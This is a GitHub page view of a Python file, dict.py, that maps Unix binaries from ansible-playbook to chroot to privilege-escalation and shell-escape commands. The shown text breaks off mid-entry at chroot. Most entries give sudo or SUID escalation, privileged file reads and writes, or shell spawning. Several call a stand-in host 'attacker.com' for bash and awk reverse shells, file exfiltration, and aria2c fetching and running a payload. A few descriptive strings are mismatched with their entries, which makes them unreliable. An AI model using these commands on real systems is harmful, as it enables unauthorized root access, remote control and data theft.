-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathdict.py
3609 lines (3609 loc) · 255 KB
/
dict.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
binaries = {
'ansible_playbook':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"TF=$(mktemp)\necho '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF\nansible-playbook $TF"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"TF=$(mktemp)\necho '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF\nsudo ansible-playbook $TF"}}
},
'apt-get':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"apt-get changelog apt\n!/bin/sh"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo apt-get changelog apt\n!/bin/sh",
'2':"TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt-get install -c $TF sl",
'3':"sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh"}}
},
'apt':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"apt-get changelog apt\n!/bin/sh"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo apt-get changelog apt\n!/bin/sh",
'2':"TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt install -c $TF sl",
'3':"sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh"}}
},
'ar':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"TF=$(mktemp -u)\nLFILE=file_to_read\nar r \"$TF\" \"$LFILE\"\ncat \"$TF\""}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which ar) .\n\nTF=$(mktemp -u)\nLFILE=file_to_read\n./ar r \"$TF\" \"$LFILE\"\ncat \"$TF\""}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"TF=$(mktemp -u)\nLFILE=file_to_read\nsudo ar r \"$TF\" \"$LFILE\"\ncat \"$TF\""}}
},
'aria2c':{
'command':{
'info':'It can be used to break out from restricted environments by running non-interactive system commands.',
'exploits':{
'1':"COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\naria2c --on-download-error=$TF http://x",
'2':"aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nsudo aria2c --on-download-error=$TF http://x"}},
'limited_suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which aria2c) .\n\nCOMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\n./aria2c --on-download-error=$TF http://x"}}
},
'arj':{
'file_write':{
'info':'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.',
'exploits':{
'1':"TF=$(mktemp -d)\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >\"$TF/$LFILE\"\narj a \"$TF/a\" \"$TF/$LFILE\"\narj e \"$TF/a\" $LDIR"}},
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"TF=$(mktemp -u)\nLFILE=file_to_read\narj a \"$TF\" \"$LFILE\"\narj p \"$TF\""}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which arj) .\n\nTF=$(mktemp -d)\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >\"$TF/$LFILE\"\narj a \"$TF/a\" \"$TF/$LFILE\"\n./arj e \"$TF/a\" $LDIR"}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"TF=$(mktemp -d)\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >\"$TF/$LFILE\"\narj a \"$TF/a\" \"$TF/$LFILE\"\nsudo arj e \"$TF/a\" $LDIR"}}
},
'arp':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\narp -v -f \"$LFILE\""}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which arp) .\n\nLFILE=file_to_read\n./arp -v -f \"$LFILE\""}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"LFILE=file_to_read\nsudo arp -v -f \"$LFILE\""}}
},
'ash':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"ash"}},
'file_write':{
'info':'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.',
'exploits':{
'1':"export LFILE=file_to_write\nash -c 'echo DATA > $LFILE'"}},
'suid':{
'info':"This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.",
'exploits':{
'1':"sudo install -m =xs $(which ash) .\n\n./ash"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo ash"}}
},
'at':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | at now; tail -f /dev/null"}},
'command':{
'info':'It can be used to break out from restricted environments by running non-interactive system commands.',
'exploits':{
'1':"COMMAND=id\necho \"$COMMAND\" | at now"}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | sudo at now; tail -f /dev/null"}}
},
'atobm':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\natobm $LFILE 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which atobm) .\n\nLFILE=file_to_read\n./atobm $LFILE 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'"}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"LFILE=file_to_read\nsudo atobm $LFILE 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'"}}
},
'awk':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"awk 'BEGIN {system(\"/bin/sh\")}'"}},
'no_interactive_reverse':{
'info':'It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.',
'exploits':{
'1':"RHOST=attacker.com\nRPORT=12345\nawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {\n\ts = \"/inet/tcp/0/\" RHOST \"/\" RPORT;\n\twhile (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n\twhile (c && (c |& getline) > 0) print $0 |& s; close(c)}}'"}},
'no_interactive_bind':{
'info':'It can bind a non-interactive shell to a local port to allow remote network access.',
'exploits':{
'1':"LPORT=12345\nawk -v LPORT=$LPORT 'BEGIN {\n\ts = \"/inet/tcp/\" LPORT \"/0/0\";\n\twhile (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n\twhile (c && (c |& getline) > 0) print $0 |& s; close(c)}}'"}},
'file_write':{
'info':'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_write\nawk -v LFILE=$LFILE 'BEGIN { print \"DATA\" > LFILE }'"}},
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\nawk '//' \"$LFILE\""}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which awk) .\n\nLFILE=file_to_read\n./awk '//' \"$LFILE\""}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo awk 'BEGIN {system(\"/bin/sh\")}'"}},
'limited_suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which awk) .\n\n./awk 'BEGIN {system(\"/bin/sh\")}'"}},
},
'base32':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\nbase32 \"$LFILE\" | base32 --decode"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which base32) .\n\nLFILE=file_to_read\nbase32 \"$LFILE\" | base32 --decode"}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"LFILE=file_to_read\nsudo base32 \"$LFILE\" | base32 --decode"}}
},
'base64':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\nbase64 \"$LFILE\" | base64 --decode"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which base64) .\n\nLFILE=file_to_read\n./base64 \"$LFILE\" | base64 --decode"}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"LFILE=file_to_read\nsudo base64 \"$LFILE\" | base64 --decode"}}
},
'basenc':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\nbasenc --base64 $LFILE | basenc -d --base64"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which basenc) .\n\nLFILE=file_to_read\nbasenc --base64 $LFILE | basenc -d --base64"}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"LFILE=file_to_read\nsudo basenc --base64 $LFILE | basenc -d --base64"}}
},
'bash':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"bash"}},
'reverse_shell':{
'info':'It can send back a reverse shell to a listening attacker to open a remote network access.',
'exploits':{
'1':"export RHOST=attacker.com\nexport RPORT=12345\nbash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'"}},
'file_upload':{
'info':'It can exfiltrate files on the network.',
'exploits':{
'1':"export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nbash -c 'echo -e \"POST / HTTP/0.9\n\n$(<$LFILE)\" > /dev/tcp/$RHOST/$RPORT'",
'2':"export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nbash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'"}},
'file_download':{
'info':'It can download remote files.',
'exploits':{
'1':"export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_get\nbash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'"}},
'file_write':{
'info':'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.',
'exploits':{
'1':"export LFILE=file_to_write\nbash -c 'echo DATA > $LFILE'",
'2':"LFILE=file_to_write\nHISTIGNORE='history *'\nhistory -c\nDATA\nhistory -w $LFILE"}},
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"export LFILE=file_to_read\nbash -c 'echo \"$(<$LFILE)\"'"}},
'library_load':{
'info':'It loads shared libraries that may be used to run code in the binary execution context.',
'exploits':{
'1':"bash -c 'enable -f ./lib.so x'"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which bash) .\n\n./bash -p"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo bash"}},
},
'bpftrace':{
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"sudo bpftrace -e 'BEGIN {system(\"/bin/sh\");exit()}'",
'2':"TF=$(mktemp)\necho 'BEGIN {system(\"/bin/sh\");exit()}' >$TF\nsudo bpftrace $TF",
'3':"sudo bpftrace -c /bin/sh -e 'END {exit()}'"}}
},
'bridge':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\nbridge -b \"$LFILE\""}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which bridge) .\n\nLFILE=file_to_read\n./bridge -b \"$LFILE\""}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"LFILE=file_to_read\nsudo bridge -b \"$LFILE\""}}
},
'bundler':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"bundler help\n!/bin/sh",
'2':"export BUNDLE_GEMFILE=x\nbundler exec /bin/sh",
'3':"TF=$(mktemp -d)\ntouch $TF/Gemfile\ncd $TF\nbundler exec /bin/sh",
'4':"TF=$(mktemp -d)\ntouch $TF/Gemfile\ncd $TF\nbundler console\nsystem('/bin/sh -c /bin/sh')",
'5':"TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/Gemfile\ncd $TF\nbundler install"}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"sudo bundler help\n!/bin/sh"}}
},
'busctl':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"busctl --show-machine\n!/bin/sh"}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"sudo busctl --show-machine\n!/bin/sh"}}
},
'busybox':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"busybox sh"}},
'file_upload':{
'info':'It can exfiltrate files on the network.',
'exploits':{
'1':"LPORT=12345\nbusybox httpd -f -p $LPORT -h ."}},
'file_write':{
'info':"It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.",
'exploits':{
'1':"LFILE=file_to_write\nbusybox sh -c 'echo \"DATA\" > $LFILE'"}},
'file_read':{
'info':"It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.",
'exploits':{
'1':"LFILE=file_to_read\n./busybox cat \"$LFILE\""}},
'suid':{
'info':"This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.",
'exploits':{
'1':"sudo install -m =xs $(which busybox) .\n./busybox sh"}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"sudo busybox sh"}}
},
'byebug':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"TF=$(mktemp)\necho 'system(\"/bin/sh\")' > $TF\nbyebug $TF\ncontinue"}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"TF=$(mktemp)\necho 'system(\"/bin/sh\")' > $TF\nsudo byebug $TF\ncontinue"}},
'limited_suid':{
'info':"This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.",
'exploits':{
'1':"sudo install -m =xs $(which byebug) .\n\nTF=$(mktemp)\necho 'system(\"/bin/sh\")' > $TF\n./byebug $TF\ncontinue"}}
},
'c89':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"c89 -wrapper /bin/sh,-s ."}},
'file_write':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"LFILE=file_to_delete\nc89 -xc /dev/null -o $LFILE"}},
'file_read':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"LFILE=file_to_read\nc89 -x c -E \"$LFILE\""}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"sudo c89 -wrapper /bin/sh,-s ."}}
},
'c99':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"c99 -wrapper /bin/sh,-s ."}},
'file_write':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"LFILE=file_to_delete\nc99 -xc /dev/null -o $LFILE"}},
'file_read':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"LFILE=file_to_read\nc99 -x c -E \"$LFILE\""}},
'sudo':{
'info':"If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
'exploits':{
'1':"sudo c99 -wrapper /bin/sh,-s ."}}
},
'cancel':{
'file_uploads':{
'info':'It can exfiltrate files on the network.',
'exploits':{
'1':"RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\ncancel -u \"$(cat $LFILE)\" -h $RHOST:$RPORT"}}
},
'capsh':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"capsh --"}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which capsh) .\n\n./capsh --gid=0 --uid=0 --"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo capsh --"}}
},
'cat':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ncat \"$LFILE\""}},
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which cat) .\n\nLFILE=file_to_read\n./cat \"$LFILE\""}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo cat \"$LFILE\""}}
},
'check_by_ssh':{
'shell':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"sudo check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx"}}
},
'check_cups':{
'file_read':{
'info':'It can be used to break out from restricted environments by spawning an interactive system shell.',
'exploits':{
'1':"LFILE=file_to_read\ncheck_cups --extra-opts=@$LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo check_cups --extra-opts=@$LFILE"}}
},
'check_log':{
'file_write':{
'info':'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_write\nINPUT=input_file\ncheck_log -F $INPUT -O $LFILE"}},
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\nOUTPUT=output_file\ncheck_log -F $LFILE -O $OUTPUT\ncat $OUTPUT"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_write\nINPUT=input_file\nsudo check_log -F $INPUT -O $LFILE"}}
},
'check_memory':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ncheck_memory --extra-opts=@$LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo check_memory --extra-opts=@$LFILE"}}
},
'check_raid':{
'file_read':{
'info':'LFILE=file_to_read\ncheck_raid --extra-opts=@$LFILE',
'exploits':{
'1':"LFILE=file_to_read\ncheck_memory --extra-opts=@$LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo check_raid --extra-opts=@$LFILE"}}
},
'check_ssl_cert':{
'command':{
'info':'It can be used to break out from restricted environments by running non-interactive system commands.',
'exploits':{
'1':"COMMAND=id\nOUTPUT=output_file\nTF=$(mktemp)\necho \"$COMMAND | tee $OUTPUT\" > $TF\nchmod +x $TF\ncheck_ssl_cert --curl-bin $TF -H example.net\ncat $OUTPUT"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"COMMAND=id\nOUTPUT=output_file\nTF=$(mktemp)\necho \"$COMMAND | tee $OUTPUT\" > $TF\nchmod +x $TF\numask 022\ncheck_ssl_cert --curl-bin $TF -H example.net\ncat $OUTPUT"}}
},
'check_statusfile':{
'file_read':{
'info':'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.',
'exploits':{
'1':"LFILE=file_to_read\ncheck_statusfile $LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_read\nsudo check_statusfile $LFILE"}}
},
'chmod':{
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which chmod) .\n\nLFILE=file_to_change\n./chmod 6777 $LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_change\nsudo chmod 6777 $LFILE"}}
},
'chown':{
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which chown) .\n\nLFILE=file_to_change\n./chown $(id -un):$(id -gn) $LFILE"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
'exploits':{
'1':"LFILE=file_to_change\nsudo chown $(id -un):$(id -gn) $LFILE"}}
},
'chroot':{
'suid':{
'info':'This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.',
'exploits':{
'1':"sudo install -m =xs $(which chroot) .\n\n./chroot / /bin/sh -p"}},
'sudo':{
'info':'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.',
